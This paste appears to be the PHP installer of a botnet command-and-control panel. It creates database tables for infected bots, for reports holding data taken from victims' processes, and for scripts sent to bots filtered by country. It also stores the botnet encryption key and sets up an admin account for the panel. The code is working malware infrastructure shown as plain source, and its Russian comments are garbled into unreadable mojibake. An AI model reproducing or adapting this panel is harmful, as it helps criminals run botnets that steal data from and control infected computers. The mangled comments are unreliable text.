· 8 years ago · Nov 25, 2017, 07:10 AM
1<?php define('__INSTALL__', 1);
2require_once('../system/global.php');
3
4///////////////////////////////////////////////////////////////////////////////////////////////////
5// ÚþýÑÂтðýты.
6///////////////////////////////////////////////////////////////////////////////////////////////////
7
8//äðùûы.
9define('FILE_GEOBASE', 'geobase.txt'); //Óõþñð÷ð
10define('FILE_CONFIG', '../system/config.php'); //Úþýфøó.
11
12//×ðóþûþòþú
13define('APP_TITLE', 'Control Panel '.BO_CLIENT_VERSION.' Installer');
14
15//ßðрðüõтры ôøðûþóð.
16define('DIALOG_WIDTH', '350px'); //èøрøýð ôøðûþóð.
17define('DIALOG_INPUT_WIDTH', '150px'); //èøрøýð <input>.
18
19//ßþôúûючõýøõ тõüы.
20define('THEME_PATH', '../theme');
21require_once(THEME_PATH.'/index.php');
22
23///////////////////////////////////////////////////////////////////////////////////////////////////
24// áÿøÑÂþú тðñûøц.
25///////////////////////////////////////////////////////////////////////////////////////////////////
26
27//áÿøÑÂþú ñþтþò
28$_TABLES['botnet_list'] =
29"`bot_id` varchar(".BOT_ID_MAX_CHARS.") NOT NULL default '' UNIQUE, ". //ID ñþтð.
30"`botnet` varchar(".BOTNET_MAX_CHARS.") NOT NULL default '".DEFAULT_BOTNET."', ". //Ñþтýõт.
31"`bot_version` int unsigned NOT NULL default '0', ". //ÒõрÑÂøѠñþтð.
32
33"`net_latency` int unsigned NOT NULL default '0', ". //Ûðó ÑÂþõôøýõýøÑÂ.
34"`tcpport_s1` smallint unsigned NOT NULL default '0', ". //TCP ÿþрт S1.
35
36"`time_localbias` int signed NOT NULL default '0', ". //ÞффÑÂõт ûþúðûьýþóþ òрõüõýø ò ÑÂõúуýôðх.
37"`os_version` tinyblob NOT NULL, ". //Ãâ€Ã°Ã½Ã½Ñ‹Ãµ þñ OS (dwMajor, dwMinor, dwBuild, dwSP, wSuiteMask, wProductType).
38"`language_id` smallint unsigned NOT NULL default '0', ". //ID ÑÂ÷ыúð OS.
39
40"`ipv4_list` blob NOT NULL, ". //áÿøÑÂþú IPv4 ðôрõÑÂþò.
41"`ipv6_list` blob NOT NULL, ". //áÿøÑÂþú IPv6 ðôрõÑÂþò.
42"`ipv4` varbinary(4) NOT NULL default '\\0\\0\\0\\0', ". //IPv4
43"`country` varchar(2) NOT NULL default '--', ". //áтрðýð.
44
45"`rtime_first` int unsigned NOT NULL default '0', ". //ÒрõüѠÿõрòþóþ þтчõтð þñ þýûðùýõ.
46"`rtime_last` int unsigned NOT NULL default '0', ". //ÒрõüѠÿþÑÂûõôýõóþ þтчõтð þñ þýûðùýõ.
47"`rtime_online` int unsigned NOT NULL default '0', ". //ÒрõüÑÂ, c úþтþрþóþ ñþт ýðхþôøтьÑÂѠò þýûðùýõ.
48
49"`flag_new` bool NOT NULL default '1', ". //äûðó "ØýÑÂтðûûð".
50"`flag_used` bool NOT NULL default '0', ". //äûðó "ØÑÂÿþûь÷þòðý".
51
52"`comment` tinytext NOT NULL"; //Úþüüõýтðрøø ú ñþту.
53
54//èðñûþý þтчõтþò.
55$_TABLES['botnet_reports'] =
56"`id` int unsigned NOT NULL auto_increment PRIMARY KEY, ".
57"`bot_id` varchar(".BOT_ID_MAX_CHARS.") NOT NULL default '', ". //ID ñþтð.
58"`botnet` varchar(".BOTNET_MAX_CHARS.") NOT NULL default '".DEFAULT_BOTNET."', ". //Ñþтýõт.
59"`bot_version` int unsigned NOT NULL default '0', ". //ÒõрÑÂøѠñþтð.
60
61"`path_source` text NOT NULL, ". //ØÑÂхþôýыù ÿуть ûþóð.
62"`path_dest` text NOT NULL, ". //Úþýõчýыù ÿуть ûþóð.
63
64"`time_system` int unsigned NOT NULL default '0', ". //ÞффÑÂõт ûþúðûьýþóþ òрõüõýø ò ÑÂõúуýôðх.
65"`time_tick` int unsigned NOT NULL default '0', ". //ÞффÑÂõт ûþúðûьýþóþ òрõüõýø ò üÑÂ.
66"`time_localbias` int NOT NULL default '0', ". //ÞффÑÂõт ûþúðûьýþóþ òрõüõýø ò ÑÂõúуýôðх.
67
68"`os_version` tinyblob NOT NULL, ". //Ãâ€Ã°Ã½Ã½Ñ‹Ãµ þñ OS (OSINFO).
69"`language_id` smallint unsigned NOT NULL default '0', ". //ID ÑÂ÷ыúð OS.
70
71"`process_name` text NOT NULL, ". //ØüѠÿрþцõÑÂÑÂð.
72"`process_user` text NOT NULL, ". //ØüѠю÷õрð ÿрþцõÑÂÑÂð.
73
74"`type` int unsigned NOT NULL default '0', ". //âøÿ ûþóð.
75"`context` longtext NOT NULL, ". //áþôõрöøüþõ ûþóð.
76
77"`ipv4` varbinary(15) NOT NULL default '0.0.0.0', ". //IPv4
78"`country` varchar(2) NOT NULL default '--', ". //áтрðýð.
79"`rtime` int unsigned NOT NULL default '0'"; //ÒрõüѠþтчõтð.
80
81//Ñð÷ð IPv4 to Country.
82$_TABLES['ipv4toc'] =
83"`l` int unsigned NOT NULL default '0', ". //ÃÂøöýøù IP.
84"`h` int unsigned NOT NULL default '0', ". //Òõрхýøù IP.
85"`c` varbinary(2) NOT NULL default '--'"; //áтрðýð.
86
87//áÿøÑÂþú ÿþûь÷þòðтõûõù.
88$_TABLES['cp_users'] =
89"`id` int unsigned NOT NULL auto_increment PRIMARY KEY, ".
90"`name` varchar(20) NOT NULL default '' UNIQUE, ". //ØüÑÂ.
91"`pass` varchar(32) NOT NULL default '', ". //ßðрþûь.
92"`language` varbinary(2) NOT NULL default 'en', ". //ï÷ыú ÿþûь÷þòðтõÃȄÂ.
93"`flag_enabled` bool NOT NULL default '1', ". //äûðó òúûючõýýþóþ ÿþûь÷þòðтõÃȄÂ
94"`comment` tinytext NOT NULL, ". //Úþüüõýтðрøø.
95
96//àð÷ûøчýыõ ýðÑÂтрþùúø.
97"`ss_format` varbinary(10) NOT NULL default 'jpeg', ". //äþрüðт ÑÂúрøýшþтþò.
98"`ss_quality` tinyint unsigned NOT NULL default '30', ". //ÚðчõÑÂтòþ ÑÂúрøýшþтð.
99
100//ßрðòð.
101"`r_edit_bots` bool NOT NULL default '1', ".
102
103"`r_stats_main` bool NOT NULL default '1', ".
104"`r_stats_main_reset` bool NOT NULL default '1', ".
105"`r_stats_os` bool NOT NULL default '1', ".
106
107"`r_botnet_bots` bool NOT NULL default '1', ".
108"`r_botnet_scripts` bool NOT NULL default '1', ".
109"`r_botnet_scripts_edit` bool NOT NULL default '1', ".
110
111"`r_reports_db` bool NOT NULL default '1', ".
112"`r_reports_db_edit` bool NOT NULL default '1', ".
113"`r_reports_files` bool NOT NULL default '1', ".
114"`r_reports_files_edit` bool NOT NULL default '1', ".
115/*EVAL_BEGIN*/if(configBool('jabber_notifier'))return
116"\"`r_reports_jn` bool NOT NULL default '1', \".";
117/*EVAL_END*/
118
119"`r_system_info` bool NOT NULL default '1', ".
120"`r_system_options` bool NOT NULL default '1', ".
121"`r_system_user` bool NOT NULL default '1', ".
122"`r_system_users` bool NOT NULL default '1'";
123
124//áúрøÿты ñþтðü.
125$_TABLES['botnet_scripts'] =
126"`id` int unsigned NOT NULL auto_increment PRIMARY KEY,".
127"`extern_id` varbinary(16) NOT NULL default '0', ". //Òýõшýøù ID.
128"`name` varchar(255) NOT NULL default '', ". //ÃÂð÷òðýøõ óруÿÿы.
129"`flag_enabled` bool NOT NULL default '0', ". //áúрøÿт ðúтøòýð.
130"`time_created` int unsigned NOT NULL default '0', ". //ÒрõüѠÑÂþ÷ôðýøѠÑÂúрøÿтð.
131"`send_limit` int unsigned NOT NULL default '0', ". //Ûøüøт ñþтþò.
132
133"`bots_wl` text NOT NULL, ". //áÿøÑÂþú ñþтþò, ôûѠúþтþрых ýуöýþ øÑÂÿþûьýÑÂть ÑÂúрøÿт.
134"`bots_bl` text NOT NULL, ". //áÿøÑÂþú ñþтþò, ôûѠúþтþрых ýõ ýуöýþ øÑÂÿþûьýÑÂть ÑÂúрøÿт.
135"`botnets_wl` text NOT NULL, ". //áÿøÑÂþú ñþтýõтþò, ôûѠúþтþрых ýуöýþ øÑÂÿþûьýÑÂть ÑÂúрøÿт.
136"`botnets_bl` text NOT NULL, ". //áÿøÑÂþú ñþтýõтþò, ôûѠúþтþрых ýõ ýуöýþ øÑÂÿþûьýÑÂть ÑÂúрøÿт.
137"`countries_wl` text NOT NULL, ". //áÿøÑÂþú ÑÂтрðý, ôûѠúþтþрых ýуöýþ øÑÂÿþûьýøть ÑÂúрøÿт.
138"`countries_bl` text NOT NULL, ". //áÿøÑÂþú ÑÂтрðý, ôûѠúþтþрых ýõ ýуöýþ øÑÂÿþûýÑÂть ÑÂúрøÿт.
139
140"`script_text` text NOT NULL, ". //âõúÑÂтþòþõ ÿрõôÑÂтðòûõýøõ úþüðýô ò óруÿÿõ.
141"`script_bin` blob NOT NULL"; //Ñøýðрýþõ ÿрõôÑÂтðòûõýøõ úþüðýô ò óруÿÿõ.
142
143//áтðтøÑÂтøúð ÑÂúрøÿтþò ÿþ ñþтðü.
144$_TABLES['botnet_scripts_stat'] =
145"`extern_id` varbinary(16) NOT NULL, ". //Òýõшýøù ID.
146"`type` tinyint unsigned NOT NULL default '0', ". //âøÿð ÷ðÿøÑÂø. 1 - þтÿрðûòõý, 2 - øÑÂÿþûýõý, 3 - þшøñúð.
147"`bot_id` varchar(".BOT_ID_MAX_CHARS.") NOT NULL default '', ". //ID ñþтð.
148"`bot_version` int unsigned NOT NULL default '0', ". //ÒõрÑÂøѠñþтð.
149"`rtime` int unsigned NOT NULL default '0', ". //ÒрõüѠþтчõтð.
150"`report` text NOT NULL, ". //âõúÑÂтþòыù þтчõт ñþтð þ òыÿþûýõýøø ÑÂцõýðрøÑÂ.
151"UNIQUE(`extern_id`, `bot_id`, `type`)";
152
153///////////////////////////////////////////////////////////////////////////////////////////////////
154// ×ýðчõýøѠÿþ уüþûчðýøю.
155///////////////////////////////////////////////////////////////////////////////////////////////////
156
157$pd_user = 'admin';
158$pd_pass = '';
159
160$pd_mysql_host = '127.0.0.1';
161$pd_mysql_user = 'root';
162$pd_mysql_pass = '';
163$pd_mysql_db = 'cpdb';
164
165$pd_reports_path = '_reports';
166$pd_reports_to_db = 1;
167$pd_reports_to_fs = 0;
168
169$pd_botnet_timeout = 25;
170$pd_botnet_cryptkey = '';
171
172$_OUTPUT = '';
173
174///////////////////////////////////////////////////////////////////////////////////////////////////
175// äуýúцøø.
176///////////////////////////////////////////////////////////////////////////////////////////////////
177
178//Þтþñрðöõýøõ þшøñúø.
179function ShowError($text)
180{
181 global $_OUTPUT;
182 $_OUTPUT .= THEME_DIALOG_ROW_BEGIN.str_replace('{TEXT}', '• ERROR:'.$text, THEME_DIALOG_ITEM_ERROR).THEME_DIALOG_ROW_END;
183}
184
185//Þтþñрðöõýøõ ÿрþцõÑÂÑÂð.
186function ShowProgress($text)
187{
188 global $_OUTPUT;
189 $_OUTPUT .= THEME_DIALOG_ROW_BEGIN.str_replace('{TEXT}', '• '.$text, THEME_DIALOG_ITEM_SUCCESSED).THEME_DIALOG_ROW_END;
190}
191
192//áþ÷ôðýøõ тðñûøцы.
193function CreateTable($name)
194{
195 global $_TABLES;
196
197 ShowProgress("Creating table ".THEME_STRING_BOLD_BEGIN."'{$name}'".THEME_STRING_BOLD_END.".");
198 if(!@mysql_query("DROP TABLE IF EXISTS `{$name}`") || !@mysql_query("CREATE TABLE `{$name}` ({$_TABLES[$name]}) ENGINE=MyISAM CHARACTER SET=".MYSQL_CODEPAGE." COLLATE=".MYSQL_COLLATE))
199 {
200 ShowError("Failed: ".htmlEntitiesEx(mysql_error()));
201 return false;
202 }
203
204 return true;
205}
206
207//Þñýðòûõýøõ тðñûøцы.
208function UpdateTable($name)
209{
210 global $_TABLES;
211
212 ShowProgress("Updating table ".THEME_STRING_BOLD_BEGIN."'{$name}'".THEME_STRING_BOLD_END.".");
213 if(!@mysql_query("CREATE TABLE IF NOT EXISTS `{$name}` ({$_TABLES[$name]}) ENGINE=MyISAM CHARACTER SET=".MYSQL_CODEPAGE." COLLATE=".MYSQL_COLLATE))
214 {
215 ShowError("Failed: ".htmlEntitiesEx(mysql_error()));
216 return false;
217 }
218
219 //@mysql_query("ALTER TABLE `{$name}` CHARACTER SET=".MYSQL_CODEPAGE." COLLATE=".MYSQL_COLLATE);
220
221 //ÞñýðòÃȄÂõü ýð уôðчу.
222 $list = explode(',', $_TABLES[$name]);
223 foreach($list as &$l)@mysql_query("ALTER TABLE `{$name}` ADD {$l}");
224
225 return true;
226}
227
228//Þñýðòûõýøõ тðñûøцы ÿþ ôðýýыü ôруóþù тðñûøцы.
229function UpdateTableEx($name, $real_name)
230{
231 global $_TABLES;
232
233 ShowProgress("Updating table ".THEME_STRING_BOLD_BEGIN."'{$name}'".THEME_STRING_BOLD_END.".");
234 if(!@mysql_query("CREATE TABLE IF NOT EXISTS `{$name}` ({$_TABLES[$real_name]}) ENGINE=MyISAM CHARACTER SET=".MYSQL_CODEPAGE." COLLATE=".MYSQL_COLLATE))
235 {
236 ShowError("Failed: ".htmlEntitiesEx(mysql_error()));
237 return false;
238 }
239
240 //@mysql_query("ALTER TABLE `{$name}` CHARACTER SET=".MYSQL_CODEPAGE." COLLATE=".MYSQL_COLLATE);
241
242 //ÞñýðòÃȄÂõü ýð уôðчу.
243 $list = explode(',', $_TABLES[$real_name]);
244 foreach($list as &$l)@mysql_query("ALTER TABLE `{$name}` ADD {$l}");
245
246 return true;
247}
248
249//Ãâ€Ã¾Ã±Ã°Ã²Ã»ÃµÃ½Ã¸Ãµ ÑÂтрþúø ò тðñûøцу
250function AddRowToTable($name, $query)
251{
252 if(!mysqlQueryEx($name, "INSERT INTO `{$name}` SET {$query}"))
253 {
254 ShowError("Failed to write row to table ".THEME_STRING_BOLD_BEGIN."'{$name}'".THEME_STRING_BOLD_END.": %s".htmlEntitiesEx(mysql_error()));
255 return false;
256 }
257 return true;
258}
259
260//áþ÷ôðýøõ ÿутø.
261function CreatePath($new_dir, $old_dir)
262{
263 $dir_r = '../'.$new_dir;
264
265 if($old_dir != 0 && $old_dir != $new_dir && file_exists('../'.$old_dir))
266 {
267 ShowProgress("Renaming folder ".THEME_STRING_BOLD_BEGIN."'{$old_dir}'".THEME_STRING_BOLD_END." to ".THEME_STRING_BOLD_BEGIN."'{$new_dir}'".THEME_STRING_BOLD_END.".");
268 if(!is_dir($dir_r) && !@rename('../'.$old_dir, $dir_r))
269 {
270 ShowError("Failed to rename folder.");
271 return false;
272 }
273
274 @chmod($dir_r, 0777);
275 }
276 else
277 {
278 ShowProgress("Creating folder ".THEME_STRING_BOLD_BEGIN."'{$new_dir}'".THEME_STRING_BOLD_END.".");
279 if(!is_dir($dir_r) && !@mkdir($dir_r, 0777))
280 {
281 ShowError("Failed to create folder ".THEME_STRING_BOLD_BEGIN."'{$new_dir}'".THEME_STRING_BOLD_END.".");
282 return false;
283 }
284 }
285 return true;
286}
287
288//Òыñþр рõöøü рðñþты.
289$is_update = file_exists(FILE_CONFIG);
290
291///////////////////////////////////////////////////////////////////////////////////////////////////
292// ßрþцõÑÂѠутÑÂðýþòúø/þñýðòûõýøÑÂ.
293///////////////////////////////////////////////////////////////////////////////////////////////////
294if(strcmp($_SERVER['REQUEST_METHOD'], 'POST') === 0)
295{
296 $error = false;
297 $_OUTPUT = str_replace('{WIDTH}', DIALOG_WIDTH, THEME_DIALOG_BEGIN).
298 str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, 'Installation steps:'), THEME_DIALOG_TITLE);
299
300 //ßþûучõýøõ ßþÑÂÑ‚-ôðýýых.
301 if($is_update)
302 {
303 if(!@include_once(FILE_CONFIG))
304 {
305 ShowError("Failed to open file '".FILE_CONFIG."'.");
306 $error = true;
307 }
308 else
309 {
310 if(isset($config['reports_path']))$pd_reports_path = $config['reports_path'];
311 if(isset($config['reports_to_db']))$pd_reports_to_db = $config['reports_to_db'] ? 1 : 0;
312 if(isset($config['reports_to_fs']))$pd_reports_to_fs = $config['reports_to_fs'] ? 1 : 0;
313 if(isset($config['botnet_timeout']))$pd_botnet_timeout = (int)($config['botnet_timeout'] / 60);
314 if(isset($config['botnet_cryptkey']))$pd_botnet_cryptkey = $config['botnet_cryptkey'];
315
316 $pd_mysql_host = isset($config['mysql_host']) ? $config['mysql_host'] : NULL;
317 $pd_mysql_user = isset($config['mysql_user']) ? $config['mysql_user'] : NULL;
318 $pd_mysql_pass = isset($config['mysql_pass']) ? $config['mysql_pass'] : NULL;
319 $pd_mysql_db = isset($config['mysql_db']) ? $config['mysql_db'] : NULL;
320 }
321 }
322 else
323 {
324 $pd_user = checkPostData('user', 1, 20);
325 $pd_pass = checkPostData('pass', 6, 64);
326
327 $pd_reports_path = checkPostData('path_reports', 1, 256);
328 $pd_reports_to_db = (isset($_POST['reports_to_db']));// && $_POST['reports_to_db'] == 1);
329 $pd_reports_to_fs = (isset($_POST['reports_to_fs']));// && $_POST['reports_to_fs'] == 1);
330 $pd_botnet_timeout = checkPostData('botnet_timeout', 1, 4);
331 $pd_botnet_cryptkey = checkPostData('botnet_cryptkey', 1, 256);
332
333 $pd_mysql_host = checkPostData('mysql_host', 1, 256);
334 $pd_mysql_user = checkPostData('mysql_user', 1, 256);
335 $pd_mysql_pass = checkPostData('mysql_pass', 0, 256);
336 $pd_mysql_db = checkPostData('mysql_db', 1, 256);
337 }
338
339 $pd_reports_path = trim(str_replace('\\', '/', trim($pd_reports_path)), '/');
340
341 //Þñрðñþтúð þшøñþú.
342 if(!$error)
343 {
344 if(!$is_update && ($pd_user === NULL || $pd_pass === NULL))
345 {
346 ShowError('Bad format of login data.');
347 $error = true;
348 }
349 if($pd_mysql_host === NULL || $pd_mysql_user === NULL || $pd_mysql_db === NULL)
350 {
351 ShowError('Bad format of MySQL server data.');
352 $error = true;
353 }
354 if($pd_reports_path === NULL)
355 {
356 ShowError('Bad format of reports path.');
357 $error = true;
358 }
359 if(!is_numeric($pd_botnet_timeout) || $pd_botnet_timeout < 1)
360 {
361 ShowError('Bot online timeout have bad value.');
362 $error = true;
363 }
364 if($pd_botnet_cryptkey === NULL)
365 {
366 ShowError('Bad format of encryption key.');
367 $error = true;
368 }
369 }
370
371 //ßþôúûючõýøõ ú ñð÷õ.
372 if(!$error)
373 {
374 ShowProgress("Connecting to MySQL as ".THEME_STRING_BOLD_BEGIN."'{$pd_mysql_user}'".THEME_STRING_BOLD_END.".");
375 if(!@mysql_connect($pd_mysql_host, $pd_mysql_user, $pd_mysql_pass) || !@mysql_query('SET NAMES \''.MYSQL_CODEPAGE.'\' COLLATE \''.MYSQL_COLLATE.'\''))
376 {
377 ShowError("Failed connect to MySQL server: ".htmlEntitiesEx(mysql_error()));
378 $error = true;
379 }
380 }
381
382 //Òыñþр тðñûøцы.
383 if(!$error)
384 {
385 $db = addslashes($pd_mysql_db);
386 ShowProgress("Selecting DB ".THEME_STRING_BOLD_BEGIN."'{$pd_mysql_db}'".THEME_STRING_BOLD_END.".");
387
388 if(!@mysql_query("CREATE DATABASE IF NOT EXISTS `{$db}`"))
389 {
390 ShowError("Failed to create database: ".htmlEntitiesEx(mysql_error()));
391 $error = true;
392 }
393 else if(!@mysql_select_db($pd_mysql_db))
394 {
395 ShowError("Failed to select database: ".htmlEntitiesEx(mysql_error()));
396 $error = true;
397 }
398
399 @mysql_query("ALTER DATABASE `{$db}` CHARACTER SET ".MYSQL_CODEPAGE." COLLATE ".MYSQL_COLLATE);
400 }
401
402 //Þñрðñðтыòðõü тðñûøцы.
403 if(!$error)foreach($_TABLES as $table => $v)
404 {
405 //×ðÿþûýõýøõ тðñûøцы ipv4toc.
406 if(strcmp($table, 'ipv4toc') == 0)
407 {
408 if(($error = !CreateTable($table)))break;
409 ShowProgress("Filling table ".THEME_STRING_BOLD_BEGIN."'{$table}'".THEME_STRING_BOLD_END.".");
410
411 if(($list = @file(FILE_GEOBASE)) === false)
412 {
413 ShowError("Failed to open file '".FILE_GEOBASE."'.");
414 $error = true;
415 }
416 else
417 {
418 foreach($list as $item)
419 {
420 $cn = explode("\0", $item, 3);
421 if(($error = !AddRowToTable($table, "l='{$cn[0]}', h='{$cn[1]}', c='".substr(trim($cn[2]), 0, 2)."'")))break;
422 }
423 unset($list);
424 }
425 }
426 //ÞñýþòÃȄÂõü ÑÂтðрыõ тðñûøцы þтчõтþò.
427 else if(strcmp($table, 'botnet_reports') == 0)
428 {
429 if(($error = !CreateTable($table)))break;
430 $rlist = listReportTables($pd_mysql_db);
431 foreach($rlist as $rtable)if(($error = !UpdateTableEx($rtable, 'botnet_reports')))break;
432 }
433 else $error = !($is_update ? UpdateTable($table) : CreateTable($table));
434
435 if($error)break;
436 }
437
438 //áþ÷ôðýøõ ôøрõúтþрøø ôûѠþтчõтþò.
439 if(!$error)$error = !CreatePath($pd_reports_path, isset($config['reports_path']) ? $config['reports_path'] : 0);
440
441 //Þñýþòûõýøõ фðùûð úþýфøóурðцøø.
442 if(!$error)
443 {
444 ShowProgress("Writing config file");
445
446 $updateList['mysql_host'] = $pd_mysql_host;
447 $updateList['mysql_user'] = $pd_mysql_user;
448 $updateList['mysql_pass'] = $pd_mysql_pass;
449 $updateList['mysql_db'] = $pd_mysql_db;
450 $updateList['reports_path'] = $pd_reports_path;
451 $updateList['reports_to_db'] = $pd_reports_to_db ? 1 : 0;
452 $updateList['reports_to_fs'] = $pd_reports_to_fs ? 1 : 0;
453 $updateList['botnet_timeout'] = ((int)($pd_botnet_timeout * 60));
454 $updateList['botnet_cryptkey'] = $pd_botnet_cryptkey;
455
456 if(!updateConfig($updateList))
457 {
458 ShowError("Failed write to config file.");
459 $error = true;
460 }
461 }
462
463 //Ãâ€Ã¾Ã±Ã°Ã²Ã»ÃµÃ½Ã¸Ãµ ÿþûь÷þòðтõûѠò ñð÷у.
464 if(!$error && !$is_update)
465 {
466 ShowProgress("Adding user ".THEME_STRING_BOLD_BEGIN."'{$pd_user}'".THEME_STRING_BOLD_END.".");
467 $error = !AddRowToTable('cp_users', "name='".addslashes($pd_user)."', pass='".md5($pd_pass)."', comment='Default user'");
468 }
469
470 //ÃՄ܄ÂтðòÃȄÂõü ÿрþ÷рðчýþ ÿрðòð ýð úðтðûþó ôûѠòрõüõýýых фðùûþò.
471 @chmod('../tmp', 0777);
472
473 //ãÑÂÿõшýþõ ÷ðòõршõýøõ.
474 if(!$error)
475 {
476 $_OUTPUT .= THEME_DIALOG_ROW_BEGIN.
477 str_replace('{TEXT}', THEME_STRING_BOLD_BEGIN.($is_update ? '-- Update complete! --' : '-- Installation complete! --').THEME_STRING_BOLD_END, THEME_DIALOG_ITEM_SUCCESSED).
478 THEME_DIALOG_ROW_END;
479 themeSmall(APP_TITLE, $_OUTPUT.THEME_DIALOG_END, 0, 0, 0);
480 die();
481 }
482 $_OUTPUT .= THEME_DIALOG_END.THEME_VSPACE;
483}
484
485///////////////////////////////////////////////////////////////////////////////////////////////////
486// ÞÑÂýþòýþù ôøðûþó.
487///////////////////////////////////////////////////////////////////////////////////////////////////
488
489if($is_update)
490{
491 @include_once(FILE_CONFIG);
492 if(isset($config['mysql_db']))$pd_mysql_db = $config['mysql_db'];
493}
494
495if($is_update)$help = "This application update/repair and reconfigure your control panel on this server. If you want make new installation, please remove file '".FILE_CONFIG."'.";
496else $help = "This application install and configure your control panel on this server. Please type settings and press 'Install'.";
497
498$_FORMITEMS = '';
499
500//Ãâ€Ã°Ã½Ã½Ñ‹Ãµ ю÷õрð.
501if(!$is_update)
502{
503 $_FORMITEMS .=
504 THEME_DIALOG_ROW_BEGIN.
505 str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN).
506 str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, 'Root user:'), THEME_DIALOG_GROUP_TITLE).
507 THEME_DIALOG_ROW_BEGIN.
508 str_replace('{TEXT}', 'User name: (1-20 chars):', THEME_DIALOG_ITEM_TEXT).
509 str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_user), 'user', '20', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
510 THEME_DIALOG_ROW_END.
511 THEME_DIALOG_ROW_BEGIN.
512 str_replace('{TEXT}', 'Password (6-64 chars):', THEME_DIALOG_ITEM_TEXT).
513 str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_pass), 'pass', '64', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
514 THEME_DIALOG_ROW_END.
515 THEME_DIALOG_GROUP_END.
516 THEME_DIALOG_ROW_END;
517}
518
519//Ñð÷ð ôðýýых.
520$_FORMITEMS .=
521THEME_DIALOG_ROW_BEGIN.
522 str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN).
523 str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, 'MySQL server:'), THEME_DIALOG_GROUP_TITLE);
524
525if(!$is_update)
526{
527 $_FORMITEMS .=
528 THEME_DIALOG_ROW_BEGIN.
529 str_replace('{TEXT}', 'Host:', THEME_DIALOG_ITEM_TEXT).
530 str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_mysql_host), 'mysql_host', '64', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
531 THEME_DIALOG_ROW_END.
532 THEME_DIALOG_ROW_BEGIN.
533 str_replace('{TEXT}', 'User:', THEME_DIALOG_ITEM_TEXT).
534 str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_mysql_user), 'mysql_user', '64', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
535 THEME_DIALOG_ROW_END.
536 THEME_DIALOG_ROW_BEGIN.
537 str_replace('{TEXT}', 'Password:', THEME_DIALOG_ITEM_TEXT).
538 str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_mysql_pass), 'mysql_pass', '64', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
539 THEME_DIALOG_ROW_END;
540}
541
542$_FORMITEMS .=
543 THEME_DIALOG_ROW_BEGIN.
544 str_replace('{TEXT}', 'Database:', THEME_DIALOG_ITEM_TEXT).
545 str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_mysql_db), 'mysql_db', '64', DIALOG_INPUT_WIDTH), $is_update ? THEME_DIALOG_ITEM_INPUT_TEXT_RO : THEME_DIALOG_ITEM_INPUT_TEXT).
546 THEME_DIALOG_ROW_END.
547 THEME_DIALOG_GROUP_END.
548THEME_DIALOG_ROW_END;
549
550//Ûþúðûьýыõ ÿутø.
551if(!$is_update)
552{
553 $_FORMITEMS .=
554 THEME_DIALOG_ROW_BEGIN.
555 str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN).
556 str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, 'Local folders:'), THEME_DIALOG_GROUP_TITLE).
557 THEME_DIALOG_ROW_BEGIN.
558 str_replace('{TEXT}', 'Reports:', THEME_DIALOG_ITEM_TEXT).
559 str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_reports_path), 'path_reports', '255', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
560 THEME_DIALOG_ROW_END.
561 THEME_DIALOG_GROUP_END.
562 THEME_DIALOG_ROW_END;
563}
564
565//Þÿцøø.
566if(!$is_update)
567{
568 $_FORMITEMS .=
569 THEME_DIALOG_ROW_BEGIN.
570 str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN).
571 str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, 'Options:'), THEME_DIALOG_GROUP_TITLE).
572 THEME_DIALOG_ROW_BEGIN.
573 str_replace('{TEXT}', 'Online bot timeout:', THEME_DIALOG_ITEM_TEXT).
574 str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_botnet_timeout), 'botnet_timeout', '4', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
575 THEME_DIALOG_ROW_END.
576 THEME_DIALOG_ROW_BEGIN.
577 str_replace('{TEXT}', 'Encryption key (1-255 chars):', THEME_DIALOG_ITEM_TEXT).
578 str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlEntitiesEx($pd_botnet_cryptkey), 'botnet_cryptkey', '255', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
579 THEME_DIALOG_ROW_END.
580 THEME_DIALOG_ROW_BEGIN.
581 str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN).
582 THEME_DIALOG_ROW_BEGIN.
583 str_replace(array('{COLUMNS_COUNT}', '{VALUE}', '{NAME}', '{JS_EVENTS}', '{TEXT}'), array(1, 1, 'reports_to_db', '', 'Enable write reports to database.'), $pd_reports_to_db ? THEME_DIALOG_ITEM_INPUT_CHECKBOX_ON_2 : THEME_DIALOG_ITEM_INPUT_CHECKBOX_2).
584 THEME_DIALOG_ROW_END.
585 THEME_DIALOG_ROW_BEGIN.
